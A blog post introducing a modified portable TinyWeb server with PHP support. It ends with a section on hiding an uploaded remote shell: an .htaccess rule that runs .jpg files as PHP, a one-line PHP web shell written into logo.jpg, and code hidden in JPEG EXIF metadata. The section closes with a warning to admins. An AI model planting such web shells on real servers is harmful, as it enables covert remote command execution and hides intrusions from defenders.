You know, each of us has some tools we really like to use. Tools which are not "just good". We simply love them. They are nice-looking, reliable, and (this is especially important) - simple and easy to use. One of such little toys I use quite often in exploitation practice (and obviously, in many other weird experiments): is a freeware TinyWeb web server created by Maxim Masiutin from RitLabs. The server is extremely small (actually it's a single file only, about 60 Kb). Despite of it, this little creature serves HTML, executes CGI, supports SSL, writes logs, etc., etc. Full list of features you may find [here].
It's a really nice tool, and recently I had an opportunity to improve TinyWeb server a little bit, so want to share it with you. Obviously this is still not such a full-featured server as Wamp, but it is tiny, handy and can be a significant part of your "pocket hacking toolset". How to use it for your own benefit - I would leave it to you. :-)
So what functionality I added
- TinyWeb supports PHP (Yeeeeaa!). (Can you imagine a web server without PHP? I can't.) Surprisingly, original version of the server had some difficulties running PHP. Now source code is slightly changed, so everything works smoothly. Note: PHP is running as CGI.
- The server is 100% portable now! No need for installation or configuration: just copy it to any folder, make a single click and voila! everything is configured and running immediately (yes, PHP is also configured automatically).
- PHP files may be placed in any folder inside \wwwroot (note that in original TinyWeb server - CGI is handled only in \wwwroot\cgi-bin folder).
Looks good? Och, believe me, it is. Let's see what this little beast can do for us, but "first things first": see what you may download:
- TinyWeb Portable - web server with PHP support (binaries only, most recent PHP is included, CGI demo included) - recommended for download (about 9 MB).
- TinyWeb Portable - web server with PHP support (binaries only, CGI demo included).
- TinyWeb Portable - web server with SSL support (binaries only, SSL fully configured, CGI demo included).
Download source code:
- TinyWeb Portable - web server source code (with my modifications needed to support PHP, also includes the source code for "run_web_server.exe" utility) .
- Run_web_server.exe (the utility, source code only).
- Original TinyWeb 1.93 source code (from RitLabs).
Note that author (Maxim Masiutin) kindly published the source code of standard TinyWeb server only (without SSL support), so this is the only version which is modified by me now (hence supports PHP).
Running the little daemon
Ok, in our first example we will be using the version of the server with PHP support. Download it and unzip to any folder in you PC (you already did it, yea?). Now run the file "run_web_server.exe". Important: you must run it as Administrator. Same application may be used for both versions of TinyWeb: with and without SSL support. Once you have it running - everything should be self-explanatory (not much to configure really):
If you will be using the TinyWeb version with SSL - you would see the following info at the bottom:
Once we have the port chosen: press [RUN] button. Note that LPORT field is grayed now and button [RUN] is also disabled. Our server is running!
Now you can close this application completely, the TinyWeb server would be happily running in the background. How to stop the server? Oh I don't know, try to guess... ;-)
Is it really working?
Ok, the server is running, now let's browse the structure of our folders:
wwwroot ¦ index.htm ¦ index.php ¦ login.htm ¦ +---cgi-bin login.exe shell.php test.cmd test.php test.pl
Those files will be available "on-line" under following URLs:
http://localhost:81/index.htm http://localhost:81/index.php http://localhost:81/login.htm http://localhost:81/cgi-bin/shell.php http://localhost:81/cgi-bin/test.cmd http://localhost:81/cgi-bin/test.php http://localhost:81/cgi-bin/test.pl <-- to run this you must have Perl installed
Try to open it in your browser and see what would happen. :-) Actually any console program with stdIN and stdOUT may be easily handled by TinyWeb server (which is really handy).
Imagine that you have the following batch file:
When you navigate to the following URL: http://localhost:81/cgi-bin/test.cmd you can see in your browser something like this:
Nice, isn't it! :-)
Remember one important thing: PHP is supported in \wwwroot (also in any nested subfolder inside). CGI is handled only in \wwwroot\cgi-bin folder and any subfolders.
Couple of words about TinyWeb with SSL support
This is the original version of TinyWeb binary with SSL support, compiled by Maxim Masiutin. Source code unfortunately is not available, so I may not make necessary modifications, hence PHP is not supported. Sad but true.
Anyway you may download it from here along with sample SSL certificates (and of course with run_web_server.exe) and in fully portable form. So again - nothing to configure. Just unzip, and run!
Ok, let's imagine that once upon a time some happy hacker found a way to upload his (presumably malicious) file (yes, the remote shell...) to a vulnerable server. Nice, but still worrying: how he can make his shell as much "persistent" and less-noticeable as possible?
For sure, the shell file should not necessarily be a "shell.php" placed in a web server's root dir. :-) There is a nice trick: it’s enough the attacker access some innocent-looking directory (ex. with images) where he may place the file .htaccess containing something like this:
AddType application/x-httpd-php .jpg
So now he may create the file logo.jpg in this directory with the following content:
<?php passthru($_GET['cmd']); ?>
Now it’s enough to navigate this URL (example):
and well…. job done. :-)
There is another, more fancy option: the shell code can be stored in JPEG metadata. See the example below. Download this picture and view it with a hex editor or any graphic viewer which is able to view the metadata. Anything suspicious in EXIF? ;) This would work exactly the same way as example above...
Jokes aside, - this simple trick unfortunately may be dead serious in consequences as such situation may not be so easy to detect, from forensic point of view. Admins, you'd better beware...
Of course there are pretty handy solutions you may find in Internet. Ex. php class which allows you to clean-up the metadata: psecureimage http://code.google.com/...